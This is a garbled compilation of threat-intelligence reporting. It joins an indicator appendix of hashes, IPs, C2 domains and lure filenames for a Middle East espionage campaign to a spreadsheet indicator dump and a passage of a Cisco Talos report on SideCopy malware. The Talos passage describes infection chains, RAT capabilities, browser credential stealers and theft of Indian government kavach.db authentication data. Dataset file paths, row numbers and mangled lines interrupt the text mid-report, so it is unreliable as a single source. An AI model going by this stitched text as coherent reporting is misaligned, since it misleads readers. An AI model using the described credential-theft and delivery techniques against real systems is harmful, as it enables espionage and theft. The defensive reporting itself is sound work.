clearskysec.com Page 37 of 42 md5 796a6062d236f530d50209a9066b594a md5 77d6e2068bb3367b1a46472b56063f10 md5 7450b92d96920283f441cb1cd39ab0c8 md5 6fd045ee7839fd4249aeda6ffd3e3b13 md5 6af77a2f844c3521a40a70f6034c5c4a md5 641a0dbdd6c12d69dc8325522aaa2552 md5 5f0f503246665231c5bb7e8a78c16838 md5 577ac4f43871a07fd9b63b8a75702765 md5 4e93b3aa8c823e85fdc2ebd3603cd6e9 md5 45e662b398ecd96efd1abc876be05cb3 md5 3f88ca258d89ff4bd6449492f4bd4af6 md5 3ee15c163fbf6c36076b44c6fd654db2 md5 38b505a8aa5b757f326e0a8fe032e192 md5 3227cc9462ffdc5fa27ae75a62d6d0d9 md5 286a1b5092f27b3e7e2f92e83398fcc2 md5 2606387a3dfb8bdc12beefacefc0354f md5 22ff99f039feb3c7ae524b6d487bbff7 md5 1dfb74794a0befb6bb5743fa4305c87b md5 1d9612a869ad929bd4dd16131ddb133a md5 18ef043437a8817e94808aee887ade5c md5 154b2f008d80bf954394cf9ccbcccfda md5 12fd3469bdc463a52c89da576aec857e md5 0d65b89215a0ecb18c1c86dc5ac839d0 md5 0b0d1924eff3e6e6ca9bcbe60a0451bf md5 0756357497c2cd7f41ed6a6d4403b395 md5 5c3595e60df4d871250301b0b0b19744 md5 59f50a346aae12cbd5c1dec0e88bbde4 md5 ffc183a5c86b1ce0bab7841bb5c9917f md5 bd07fd19b7598a0439b5cfd7d17ad9e6 md5 6dce847c27f5dd99261066093cb7b859 md5 a5c8bbacc9fce5cf72b6757658cf28f7 md5 ddd11518b1f62f2c91f2393f15f41dcd previous campaign md5 c8fa23c3787d9e6c9e203e48081a1984 previous campaign md5 c46a40de75089a869ec46dec1e34fe7b previous campaign md5 bd19da16986240323f78341d046c9336 previous campaign md5 5e0eb9309ef6c2e1b2b9be31ff30d008 previous campaign md5 5896908cf66fd924e534f8cdb7bec045 previous campaign md5 53f75e3d391e730a2972b4e2f7071c2e previous campaign md5 4731eb06a2e58a988684e62f523e7177 previous campaign http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 38 of 42 md5 3bf8898a88e42b0b74d29868492bd87f previous campaign md5 CECA997310C6CE221D00FF6C17E523EDC1BFCE0A md5 A48662422283157455BE9FB7D6F3F90451F93014 md5 15be036680c41f97dfac9201a7c51cfc IP 45.32.236.220 IP 45.32.13.169 IP 192.52.167.235 IP 192.52.167.125 IP 192.210.214.121 IP 192.169.7.99 IP 192.169.6.199 IP 192.169.6.154 IP 192.169.6.
199 IP 192.161.48.59 IP 185.117.73.116 IP 173.254.236.130 IP 172.245.30.30 IP 167.160.36.14 IP 162.220.246.117 IP 107.191.47.42 IP 72.11.148.147 IP 185.82.202.207 previous campaign filename exe.
filename - exe.
filename .exe filename .exe filename .
exe filename FBi .
exe filename .
exe filename .
exe filename .exe filename .
exe filename .
exe filename .
exe filename ..exe filename - How to Defend Against Stabbing.exe filename Wor.exe filename VirusTotalScanner.exe filename Video Photos - The 28 Biggest Sex Scandals In Hollywood History.exe filename US Embassy in Saudi Arabia Report.rar filename US Embassy in Saudi Arabia halts operations amid heightened security concerns.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 39 of 42 filename The Truth About Your Sexual Peak , Dont worry.exe filename Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe filename Spy vs. Spy Inside the Fraying U.S.-Israel Ties.exe filename Novm-H-S.exe.bin filename MusicLogs.exe filename Music Synchronization.exe filename MP4.exe.bin filename log file.exe filename Invoice details.doc filename Internet-y.exe filename Hot-Story.
RAR filename Hot-ReportPhotos.rar filename Google-Privacy.doc filename FileZellacompiler.exe.bin filename Estimate position - the Gaza bombings.exe filename Egypt in the saudi arabia leaks - second set.exe filename Browsem.exe filename Greek coastguard appears to sink refugee boat.exe filename .exe previous campaign filename .
previous campaign domain star.yaneom.space domain yaneom.space.co domain yaneom.ml domain xr.downloadcor.xyz domain wembail.supportmai.cf domain wallnet.zyns.com domain version.downloadcor.xyz domain v6.support-sales.tk domain us.suppoit.xyz domain transkf.tk domain suppot-sales.mefound.com domain support-sales.tk domain supports.mefound.com domain support.mypsx.net domain support.markting-fac.tk domain support.bkyane.xyz domain supo.mefound.com domain sup.mefound.com domain submit.mrface.com domain sub.submitfda.co.vu domain star.mefound.com http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 40 of 42 domain spynews.otzo.com domain socks.israel-shipment.xyz domain smtpa.dynamic-dns.net domain smtp.gq domain smtp.email-test.ml domain sky.otzo.com domain sip.supportcom.xyz domain singin.loginto.me domain ser.esmtp.biz domain sales-spy.ml domain salesmarkting.co.vu domain sales.suppoit.xyz domain sales.suppoit.
xyz domain sales.blogsyte.com domain ra.goaglesmtp.co.vu domain ns.suppoit.xyz domain news20158.co.vu domain news.net-freaks.com domain news.bulk-smtp.xyz domain ms.suppoit.xyz domain mossad.mefound.com domain marktingvb.ml domain markit.mefound.com domain marki.mefound.com domain mailweb.otzo.com domain krowd.downloadcor.xyz domain jenneaypreff.linkpc.net domain jake.support-sales.tk domain iphonenewsd.co.vu domain infoblusa.tk domain idf.idfcom.co.vu domain hr.goaglesmtp.co.vu domain hostgatr.mrface.com domain hdgshfdgh.co.vu domain games.buybit.us domain gamail.goaglesmtp.co.vu domain gabro.xxuz.com domain facetoo.co.vu domain email-test.ml domain emailotest.co.vu domain ed3qy5yioryitoturysuiu.otzo.com domain drivres-update.info http://clearskysec.com/ https://www.virustotal.com/en/domain/socks.israel-shipment.xyz/information/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 41 of 42 domain down.supportcom.xyz domain down.downloadcor.xyz domain direct-marketing.ml domain dfwsd.co.vu domain cnaci8gyolttkgmguzog.ignorelist.com domain cl170915.otzo.com domain buy.israel-shipment.xyz domain bulk-smtp.xyz domain baz.downloadcor.xyz domain aqs.filezellasd.co.vu domain acc.buybit.us domain aaas.mefound.com domain 0arfx4grailorhvlicbj.servehumour.com domain skynews1.blogsyte.com domain goodwebmail.tk domain email-market.ml domain imazing.ga domain 0n4tblbdfncaauxioxto.ddns.net domain cyaxsnieccunozn0erih.mefound.com domain word.2waky.com domain us-update.com domain sales.intarspace.co.vu domain newdowr.otzo.com domain new.newlan.co.vu domain lkvz7bsfuiaidsyynu7bd2owpe.dns05.com domain info.intarspace.co.vu domain gfhbgfzfgfgfgdg.otzo.com domain 3tshhm1nfphiqqrxbi8c.servehumour.com domain d.nabzerd.co.vu domain debka.ga domain dontrplay.tk domain zapt.zapto.org domain news015.otzo.com domain news.buybit.us domain markting-fac.tk domain adfdafsggdfgdfgsagaer.blogsyte.com domain helthnews.ga domain update.ciscofreak.com domain googledomain.otzo.com domain accounts-helper.ml domain www.dorcertg.otzo.com domain directl.otzo.com http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 42 of 42 domain dnsfor.dnsfor.me domain filezellla.otzo.com domain ksm5sksm5sksm5s.zzux.com domain markting.mefound.com domain vbdodo.mefound.com Campaign identifiers wikileaks (Ra) Br2015-06-11 Campaign identifiers very important (key)Br2015-07-07 Campaign identifiers Star(Star)br 2015-10-18 Campaign identifiers Random(Music)Br2015-07-13 Campaign identifiers November(HZ)br 2015-11-03 Campaign identifiers MOSSAD(Track)br 2015-11-08 Campaign identifiers meshal(Music)Br2015-07-15br Campaign identifiers Fajer(IOS)br 2015-08-13 Campaign identifiers FaceBook(IOS)br 2015-08-24 Campaign identifiers DAFBK(NSR)br 2015-11-04 Campaign identifiers SPYND(NSR)br 2015-11-04 Campaign identifiers Doc Test BR 2015-11-30 http://clearskysec.com/
Sheet1 typeindicatorcomments AV detectionWin.
Trojan.
DustySky AV detectionTrojan.
MSIL.Musik AV detectionTrojan.
Dustky domainwww.such.market domainsupport-update.ml domainfalcondefender.com domaineducation-support.space filename ( ) .exe filename .exe filename - .exe filename .exe filename .
,
.exe filenameUpdata.lnkin \Startup\ filenameretn0gzbksd.lnkin \Startup\ filenameReport-Photos.rar filenameReport-Palestinian-President.rar filenameReport.rar filenameplugin.exe filenamepktkvkgj4bl.lnkin \Startup\ filenameLogs.exe filenamejnpqmri1aus.exe filenameIsraels Cellebrite linked to FBIs iPhone hack attempt.exe filenameIntelligence Report Israels strategic position has improved.exe filenameIntelligence Report Israels strategic position has improved.exe filenameIntelligence agencies succeeding in penetrating Hezbollah.exe filenamegzch5y2cyne.exe filenameFolder.lnkin \Startup\ filenameFolder.exe filenameFared-Ismael.rar filenameedikvlxhprg.lnkin \Startup\ filenameedikvlxhprg.exein \Startup\ filenamecbkp1vpsv1y.exe filenameAnalysis--Hezbollah.rar filenameAnalysis and estimates (Dahlan) heads of state next Palestine.exe filename ( ) .exe filename Office 2016.exe filename cleaned.exe hostnamesupports.esmtp.biz hostnamesupports.3utilities.com hostnamesupport.servecounterstrike.com hostnamesupport.read-books.org hostnamesupport.mafy-koren.online hostnamespeed.ns01.biz hostnamespace.support-reg.space hostnamesmail.otzo.comdelivery hostnamereme.otzo.com hostnamenews.cloudns.cc hostnamemo.mefound.com hostnamemafy.2waky.comC2 hostnameinfo.education-support.space hostnamead.education-support.space IP84.200.68.163 IP72.11.148.147 IP23.229.3.70 IP204.152.203.99C2 IP192.52.167.118 IP192.161.48.59 IP185.82.202.207 IP173.254.236.130 IP168.235.86.156email source adress IP167.160.36.101 IP107.191.47.42 md5ffa1bdc105013e1cbb00483b412b98b8 md5e5500274853f77be6ffba610dac2cae4 md5ddff0a7643f4ff2fe777e768e7bae004log file.exe md5d538e50df25e30f3c4252ce523507d23 md5d01848a20e0f5c4a7a7243bb98a7b26c md5cc24cd17fa93fce7ea1128edeb9ee40bDrops b11b7b7b5bd80779dd885628d65e02e5 md5bc6baf7a1d420d226a7a157b412a51d9 md5b8c6c8eeb9a18b1d4632bc8191db5517Folder.exe md5b8c6c8eeb9a18b1d4632bc8191db5517 md5b85c17f92629fec41502b44cf86ba8591.exe md5b4ab538f592082373e9ab96373561713cleaned.exe md5b11b7b7b5bd80779dd885628d65e02e5Folder.exe md5ad5531b085ef005ee12319e88fb8f674 md5a5b3fb5119fad72ac321d8d6416b6b92 md5a50da199db97abb2dfd6fd62b5a00f02 md5923844dfc3d5b21f288df9beaa958baf md58ba38899a6446366724d98761dd10d46 md58655af063090ef192a7f1e0c05c7883f md577fd78042407a7318dba388da00700cc md56f08808d0be510698563d3b0443fe5a4New.exe md56e66ed5d8c7d4ca9c2e96f2cc045eb94 md5639d768d575c45372ea707ed89423f36 md55e906ccb3b67131e4771ca72609c0648Report-Photos.rar (contains cc24cd17fa93fce7ea1128edeb9ee40b) md559bab785127418972dda9da5571b73fd md54bd6a959cce13d1f5b5511a428e88c9c md53ce39f8afce9463c6d90c00ce72edb86 md530b843343590518e7b62c5f6db394bc2 md52f5397ad6205ab4463e6e3be9aba4efedrops ad5531b085ef005ee12319e88fb8f674 md52f30034885045bae4a201bf6b3913b54 md52ba0e52b885cabfbcd88866ab4072f54 md52a654ecb26664013d8e2369fe9c0b565 md52a1884bdab940ea66b28599245e79fa9 md528a5e9b2ef5cfd2edb7f31d3da9a5a15 md523c3f3e93ea2ffe704abb602d04588c0 md52395c798ca8628e735ac2d8d274cd230 md51d922e183418ac087933c526f7bd06c1 md50ae4345213cad388dbe38e2acda1a489Updata.exe md507dae7dada9ec3fa22507dfa5921c993 md502ef03bd5e6dbf9c03e8504c9e797abd md50264076c190af6e1176e1abff47d1ae8 pdbName D:\IL\Working Tools\2016-04-23 NeD Ver 9 Ran Il - 192.52.167.118\NeD Download and execute Version 1 - Doc\bin\Release\Obfuscated\News.pdb senderavynortongmail.com senderIDF Survey Research Center.. infomafy-koren.online senderFree Movies Moviemafy-koren.online sha1c3c70e77a108b7e13bf35b1e5876b3a0aa350e9a sha19caef912d2550cdcdb0734ab2055f330ce444e43 sha133be0f218277b6487bd2058ac3fcd5d1f5e67c09 sha133301a6851135910b6c031352ee6fc5339958ad7 sha10fa14db017846c970b215cc25bcd87605cf57ee7 sha109a8f47e4a695a622657c86a4d6abb5a4ae5d548 sha102e811c735b9b783ec892abb851f78b6a5c66862 urlsupport.mafy-koren.online/UFeed.php urlsupport.mafy-koren.online/reg-update urlhttps://drive.google.com/uc?exportdownloadid0BxaUrWGCqlWLMTQzMVFNOENIUFk urlhttps://drive.google.com/uc?exportdownloadid0B7n4BFDObRocdm1uS2J4SWVUNWc urlhttps://drive.google.com/uc?exportdownloadampid0B7XzN8DNbJKiQlFNRHdVTmpCd0Udelivery urlhttp://smail.otzo.com/y/analysis--hezbollah.rardelivery urlhttp://smail.otzo.com/W/Gfsdfsdfsrydkfpsdmfpsadsdfsdfsdfsdfdfsp.phpdelivery urlhttp://drive.google.com/uc?exportdownloadid0ByjYVMTYJB0saHlTalJ6ZWlWWGM urlhttp://bit.ly/1YRoIPX x509-fingerprint-sha1cadd3141e42227c0a30aa58ab3ca9fa91384f4c7 x509-fingerprint-sha19fb60ae410cf8e7739535aaa9771edd781f766d3 x509-fingerprint-sha19fb60ae410cf8e7739535aaa9771edd781f766d3 x509-fingerprint-sha10387ac82a3eabd3ffc48a73cc440e02ce3018bc8 https://54.171.86.133/shadow_attributes/edit/58934
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal BY ASHEER MALHOTRA AND JUSTIN THATTIL page 2 of 23 2021 Cisco.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal CONTENTS Summary ..................................................................................................................................................................................... 3 Whats new?
...............................................................................................................................................................................
3 How did it work?
.........................................................................................................................................................................
3 So what?
.....................................................................................................................................................................................
3 Background ................................................................................................................................................................................. 4 Early infection chain .............................................................................................................................................................. 4 Latest CetaRAT infection chains ............................................................................................................................................ 4 njRAT infections .................................................................................................................................................................... 7 MSI-based infection chain ..................................................................................................................................................... 7 Malicious payloads ..................................................................................................................................................................... 8 RATs ...................................................................................................................................................................................... 8 Plugins ................................................................................................................................................................................... 9 RAT analysis ................................................................................................................................................................................ 9 CetaRAT ................................................................................................................................................................................ 9 DetaRAT .............................................................................................................................................................................. 10 ReverseRAT ......................................................................................................................................................................... 11 MargulasRAT ....................................................................................................................................................................... 11 Allakore ............................................................................................................................................................................... 12 ActionRAT ........................................................................................................................................................................... 12 Lilith ..................................................................................................................................................................................... 13 Epicenter RAT ...................................................................................................................................................................... 14 Plugin analysis .......................................................................................................................................................................... 14 Files manager ...................................................................................................................................................................... 14 Browser credential stealer ................................................................................................................................................... 16 Keyloggers .......................................................................................................................................................................... 17 Golang malware Nodachi ................................................................................................................................................. 17 Tracking and delivery infrastructure ....................................................................................................................................... 19 Observations and analyses ...................................................................................................................................................... 20 Targeting ............................................................................................................................................................................. 20 Credential Harvesting .......................................................................................................................................................... 22 Conclusion ................................................................................................................................................................................ 23 Coverage................................................................................................................................................................................... 23 page 3 of 23 2021 Cisco.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal WHATS NEW?
Cisco Talos has observed an expansion in the activity of SideCopy malware campaigns, targeting entities in India.
In the past, the attackers have used malicious LNK files and documents to distribute their staple C-based RAT.
We are calling this malware CetaRAT.
SideCopy also relies heavily on the use of Allakore RAT, a publicly available Delphi- based RAT.
Recent activity from the group, however, signals a boost in their development operations.
Talos has discovered multiple new RAT families and plugins currently used in SideCopy infection chains.
Targeting tactics and themes observed in SideCopy campaigns indicate a high degree of similarity to the Transparent Tribe APT (aka APT36) also targeting India.
These include using decoys posing as operational documents belonging to the military and think tanks and honeytrap-based infections.
HOW DID IT WORK?
SideCopys infection chains have remained relatively consistent with minor variations using malicious LNK files as entry points, followed by a convoluted infection chain involving multiple HTAs and loader DLLs to deliver the final payloads.
Talos also discovered the usage of other new RATs and plugins.
These include DetaRAT, ReverseRAT, MargulasRAT and ActionRAT.
Weve also discovered the use of commodity RATs such as njRAT, Lilith and Epicenter by this group since as early as 2019.
Successful infection of a victim results in the installation of independent plugins to serve specific purposes such as file enumeration, browser password stealing and keylogging.
SO WHAT?
These campaigns provide insights into the adversarys operations: Their preliminary infection chains involve delivering their staple RATs.
Successful infection of a victim leads to the introduction of a variety of modular plugins.
Development of new RAT malware is an indication that this group of attackers are rapidly evolving their malware arsenal and post-infection tools since 2019.
Their current infrastructure setup indicates a special interest in victims in Pakistan and India.
SUMMARY Cisco Talos is tracking an increase in the SideCopy APTs activities targeting government personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and Transparent Tribe).
SideCopy is an APT group that mimics the Sidewinder APTs infection chains to deliver their own set of malware.
Weve discovered multiple infection chains delivering bespoke and commodity remote access trojans (RATs) such as CetaRAT, Allakore and njRAT.
Apart from the three known malware families utilized by SideCopy, Talos also discovered the usage of four new custom RAT families and two other commodity RATs known as Lilith and Epicenter.
Post-infection activities by SideCopy consist of deploying a variety of plugins, ranging from file enumerators to credential-stealers and keyloggers.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal BACKGROUND SideCopy campaigns use tactics and techniques that mimic the SideWinder APT group to deploy their own set of malware.
For instance, this group actively utilizes artifact names and infection vectors identical to the Sidewinder group.
SideCopy infection chains primarily consist of archive files containing malicious LNK files delivered to the victims.
The filenames are meant to social engineer the victims into opening the LNK files, in turn, infecting them with SideCopy malware.
What follows is a convoluted combination of malicious HTML Application files (HTA) and DOT NET-based loader DLLs that instrument CetaRAT and Allakore on the endpoints.
EARLY INFECTION CHAIN The earliest discovered infection chain consisted of a LNK file that pulled down and executed an HTA from a remote location.
This HTA would decode and instrument a loader DLL in memory to drop CetaRAT and another DLL (DUser.
dll) (Figure 1).
The dropped DLL is side-loaded into credwiz.exe.
The DLL then executes CetaRAT on the infected endpoint, thereby completing the infection chain.
The actors used this method in 2019 and have evolved it since then.
This primitive infection chain doesnt consist of decoy documents or images and is missing the Allakore RAT component (Figure 2).
LATEST CETARAT INFECTION CHAINS Beginning 2020 and into 2021, we saw the attackers improve their infection chains.
These infections also begin with malicious LNK files delivered to the victims.
However, what follows is a combination of three HTA files, three loader DLLs, two instances of CetaRAT in some cases, and Allakore.
This indicates an effort to modularize the attack chains, although its over-modularized in this case.
Figure 1: LNK with fake PDF icon executing remote HTA using mshta.exe.
Figure 2: Primitive SideCopy infection chain.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal The latest infection chains have also adopted the practice of displaying a decoy document (PDF) or image to the victims (Figure 3).
Stage No.
1 LNK The malicious LNK contains a command (Figure 4) to run a malicious HTA file hosted on an attacker-controlled website via mshta.exe.
Stage No.
2 HTA The malicious HTA file carries out the following activities: Creates a JavaScript file to restart the endpoint after the malicious HTA has completed the infection process.
(
The JavaScript waits for a specified time and restarts the system, enough for HTA to complete the infection.)
Load and invoke a malicious Dot Net-based loader DLL (Stage 2A) into memory.
Stage No.
2A Loader DLL The malicious Dot Net-based loader DLL is responsible for: Decompressing a decoy PDF and displaying it to the victim on the endpoint.
Downloads another malicious HTA (Stage No.
3A) from a remote URL and executes it on the endpoint.
Figure 3: Latest SideCopy infection chain.
Figure 4: Latest SideCopy infection chain.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Downloads and executes another malicious HTA file (Stage No.
4) from a remote URL.
The decoy document displayed to the victim in this case is an internal Indian Ministry of Defense (MoD) circular related to their Human Resources Management System (HRMS) (Figure 5).
Stage No.
3 Malicious HTA This malicious HTA is similar to those seen previously (usually seen as Stage No.
2 in other infection chains).
It is used to deploy the malicious CetaRAT embedded in the HTA file.
In some cases, weve observed instances of this malicious HTA deploying two distinct CetaRAT payloads on the same endpoint, a deviation from the usual infection chain.
Stage No.
4 Malicious HTA This malicious HTA is similar to the HTA seen in Stage No.
3A of the attack chain.
This HTA also: Loads another loader DLL into memory (Stage No.
4A).
Collects AV product names and passes them to the loader DLL (Stage No.
4A) along with the credwiz.exe binary and DUser.dll malicious DLL to be side-loaded.
Stage No.
4A Malicious loader DLL This DLL is responsible for dropping DUser.dll (Stage No.
4B side-loaded into credwiz) into a variable location, depending on the presence of a specific anti-virus products installed on the endpoint: Kaspersky QuickHeal Avast Avira Bitdefender Windows Defender Figure 5: Decoy PDF pretending to be an internal Indian Army document.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal This loader DLL also persists Allakore RAT on the endpoint.
The side-loaded DLL is then responsible for executing Allakore.
Stage No.
4B - Allakore Allakore RAT is a publicly available Delphi-based RAT.
It is usually called Cyrus client in SideCopy infection chains.
|
112
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Exfiltration and infiltration: Download and upload files from and to the C2.
| 26,451
| 26,481
| 31
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data/reports_final/0112.txt
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Exfiltration and infiltration: Download and upload files from and to the C2.
Audio: Record and upload audio files.
Remote control: Control mouse cursor and clicks.
Hosts file: Retrieve and send / etc/hosts file contents.
Installed Software: Exfiltrate details of installed software from registry.
Execution: Run arbitrary commands on the endpoint via cmd.exe.
Clipboard: Get and set clipboard data.
Sysinfo: The following informa- tion is sent to the C2 to finger- print the endpoint: IP and MAC addresses.
Installed anti-virus software.
Processor and GPU info, RAM info, system uptime, OS details, battery charge and life.
Hostname, current username and screen dimensions.
Figure 9: DetaRAT command codes.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal REVERSERAT This is a simple C-based malware that opens up a reverse shell (Figure 10) to its C2 server using cmd.exe.
This reverse shell also has code built into it to monitor removable drive events (Figure 11), such as connection and removal.
MARGULASRAT MargualsRAT is distributed via another C-based dropper (Figure 12) binary.
The dropper masquerades as the same VPN we mentioned previously.
NIC is responsible for providing IT services, such as email and VPN access, to Indian government employees, including military personnel.
Another variant of the dropper deploys MargulasRAT after displaying a decoy PDF to the victim (Figure 13).
This infection chain uses VBScripts to persist MargulasRAT via registry, while the dropper downloads the RAT from a remote location (Figure 14).
MargulasRAT (Figure 15) is limited in capabilities, but does include: Screenshot capture: Capture a screenshot of the reso- lution specified by the C2, AES encrypt and send.
Update self: Receives an encoded binary from C2, Figure 11: USB device insertion notifier code snippet.
Figure 10: ReverseRAT reverse shell.
Figure 12: Dropper opening the decoy NIC VPN portal and setting up persistence for MargulasRAT.
Figure 13: Code used to download and display a decoy PDF related to the Indian Army displayed to the victim followed by activation of MargulasRAT.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal writes it on a disk, and executes it.
Runs cmd.exe to terminate itself afterward.
Download more payloads: Receives a name and encoded payload data from the C2, then write it to disk and execute it on the infected endpoint.
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113
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Arbitrary command execution: Run arbitrary commands specified by the C2 on the endpoint.
| 26,504
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Arbitrary command execution: Run arbitrary commands specified by the C2 on the endpoint.
List drives: Collect drive names and total size for all drives present on the system and send them to the C2.
Enumerate files: Enumerate files for a given directory on the endpoint and sends the following information to the C2: Directory names and creation time.
Filepath, size and creation time.
Download files: Download a file specified by the C2 to a location on disk.
Download and execute: Download and then execute a file specified by the C2 on the endpoint.
Upload files: Exfiltrate the contents of a specified file to the C2.
LILITH Lilith is a commodity RAT available in the wild since 2016.
The version of Lilith used in SideCopy operations consists of the following capabilities (Figure 20): Terminate or restart self.
Download and execute files from specified locations.
Enumerate files.
Reverse shell.
Figure 17: Two C2 URLs used in ActionRAT.
Figure 18: Command codes included in the Delphi version of ActionRAT.
Figure 19: C-based ActionRATs command handler.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal EPICENTER RAT Epicenter is a commodity RAT used by SideCopy since 2018.
It contains a variety of capabilities (Figure 21) including: Gathering system information.
Gather installed Antivirus product names.
Shutdown, reboot system or log the user off.
Block keyboard and mouse inputs to self.
Uninstall self.
Enumerate, launch and kill processes.
Take screenshots.
Enumerate directories, delete files and folders.
Check persistence status for self.
PLUGIN ANALYSIS FILES MANAGER The files manager plugin used can scan all drives on the system recursively and record file paths to a log file named Figure 20: Command codes and handlers in Lilith.
Figure 21: Epicenter command handler.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal YYYYMMDDHHMMSS_di_output.
txt based on the current time (Figure 22).
The file paths recorded must match the following extensions: doc, ppt, xls, txt, pdf, zip, mdb, accdb, db, rar, jpg, bmp, gif, csv, bmp, docx, pptx, xlsx and png.
The files manager will also send preliminary system information to the C2 and receive a command code in return: hnameMachineNameuname Username osnameWindows ProductNamehidprocessor ID_BIOS_SerialNumber_Disk_ SignaturemccMACAddress avnameAVInstalledarc OSBitness Where: hname computer name.
uname username of currently logged in user.
osname Windows version name string.
hid hardware id i.e.
a com- bination of processor ID, serial number and disk signature mcc Mac Address of the end- point.
avname either Defender, Avira or N/A depending on whichever AV is found installed.
arc x64 or x86 Command codes: filelist and updatefilelist: Send recorded file paths from YYYYMMDDHHMMSS_di_output.
txt to C2 server.
download: Read contents of file path specified by C2 and exfiltrate.
Figure 22: Files manager command handler module.
upload: Get specified file from C2 and write to specified location on disk.
execute: Download a specific file to a location on a disk specified by the C2 and execute it.
SideCopy also uses a document copier (Figure 23).
This component searches for files with specific extensions across removable and fixed drives and creates an encrypted copy for itself.
The encrypted copy may be exfiltrated later by another component.
So far, this component only searches for doc, docx, ppt, pptx and pdf files.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Weve also found standalone implementations of the document copier (called UPirate).
This consists of document copying and encryption capabilities without the C2 functionality of the file manager component.
BROWSER CREDENTIAL STEALER Weve observed two flavors of browser credential stealer components utilized by SideCopy (Figure 24).
The first is a C-based stealer that targets Firefox and Chrome.
The second credential stealer is C-based and targets Chromium-based browsers, including: Chrome AVG Browser Kinza URBrowser AVAST Software SalamWeb CCleaner Opera Yandex Slimjet 360 Browser Comodo Dragon CoolNovo Chromium SRWare Iron Browser Torch Browser Brave Browser Iridium Browser Opera Neon 7Star Amigo Blisk CentBrowser Chedot CocCoc Elements Browser Epic Privacy Browser Kometa Orbitum Sputnik uCozMedia Vivaldi Sleipnir 6 Citrio Coowon Liebao Browser QIP Surf Edge Chromium Figure 23: Find and save encrypted copy of file extensions specified.
Figure 24: C-based browser credential stealer code for obtaining Chrome login data.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Credentials extracted from any of these browsers installed on the endpoint are then written to a temporary log file on disk and subsequently exfiltrated to a DropBox location (Figure 25).
KEYLOGGERS SideCopy uses two dedicated keyloggers for recording keystrokes, the aforementioned Xeytan (Figure 26) and Lavao (Figure 27), which is a custom keylogger first seen around mid-2019 that records timestamps, Window names and pressed key codes into a log file.
GOLANG MALWARE NODACHI Cisco Talos also discovered a GoLang-based component were calling Nodachi.
Figure 25: Credentials exfiltrated using the DropBox upload API.
Figure 26: Xeytan keystroke recorder used in SideCopy ops.
Figure 27: Lavao keylogger collecting keystrokes and window titles.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Figure 28: Credential stealer functionality.
Figure 29: Look for kavach.db and open it.
Figure 30: The same decoy document from CetaRAT infection chains is downloaded and displayed by Nodachi.
Uploaded to Google Drive on March 25, 2021.
Nodachi is meant for reconnaissance and stealing different types of data from the victims endpoint: Credential stealing: The malware uses the goLazagne library to steal the login credentials from the infected endpoint, such as internet browsers, credential managers and some sysadmin tools (Figure 28).
Once the login credentials are obtained, it copies these files over to the attackers Google Drive.
Steal Kavach data: Kavach (hindi for Armor) is an authentication system used by the Govern- ment of Indias (GoI) NIC agency.
Kavach provides its users with an MFA application/client used for authentication of employees to access GoIs IT infrastructure, such as email.
The malware looks for the kavach.db database containing login credentials of us- ers in the directory: C:\Users\username\ AppData\Roaming\kavach.db If found, the file is copied to the attackers Google Drive (Figure 29).
File lister: The GoLang malware uses the goLazagne library to lists all files with specific extensions on the endpoint: .docx, .doc, .pptx, .xls and .xml.
The files found are logged into a file that is then exfiltrated again to the attackers via Google Drive APIs.
One variant of Nodachi also dis- played a decoy PDF downloaded from an attacker-owned Google Drive link.
This decoy document is the same as the one seen in one of the latest CetaRAT infec- tion chains (Figure 30).
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal TRACKING AND DELIVERY INFRASTRUCTURE SideCopys delivery infrastructure consists of either setting up fake websites or using compromised websites to deliver malicious artifacts to specific victims.
The delivery scripts verify that requests to receive artifacts/ payloads are from two specific geographies: India and Pakistan (Figure 31).
If this matches, then a payload or decoy is served to the requester.
All requests are logged to a log file on the delivery server to keep track of artifacts served to potential victims (Figure 32).
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The data recorded in the log files consists of the following requester information: Source IP address.
| 26,591
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data/reports_final/0114.txt
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The data recorded in the log files consists of the following requester information: Source IP address.
Device type: tablet, mobile or computer.
Operating system name.
User-Agent string.
Architecture type: 32- or 64-bit.
Browser name.
Referrer value.
Timestamp of request.
City and country of origin.
Figure 31: Country check before serving a specific payload to the requester.
Figure 32: Victim logging capability of delivery servers.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal OBSERVATIONS AND ANALYSES TARGETING SideCopy uses themes predominantly designed to target military personnel in the Indian subcontinent.
Many of the LNK files and decoy documents used in their attacks pose as internal, operational documents of the Indian Army.
One infection posed as a seniority list of the Indian Army as recently as early 2021 (Figure 33).
Apart from military themes, SideCopy also utilized publications, calls for papers/proposals and job openings related to think tanks in India to target potential victims.
In one of the infections, the attackers used a malicious LNK file to deliver Allakore and CetaRAT to its victims.
This specific attack chain used a decoy document posing as an advertisement of a call for proposals for the Chair of Excellence 2021 for the Centre For Land and Warfare Studies (CLAWS) in India (Figure 34).
Interestingly, the same theme was seen in another recent attack conducted by the Transparent Tribe APT to deliver ObliqueRAT payloads to their victims.
In another instance, we observed the attackers using a decoy document consisting of an article published by the Centre for Joint Warfare Studies (CENJOWS) in India.
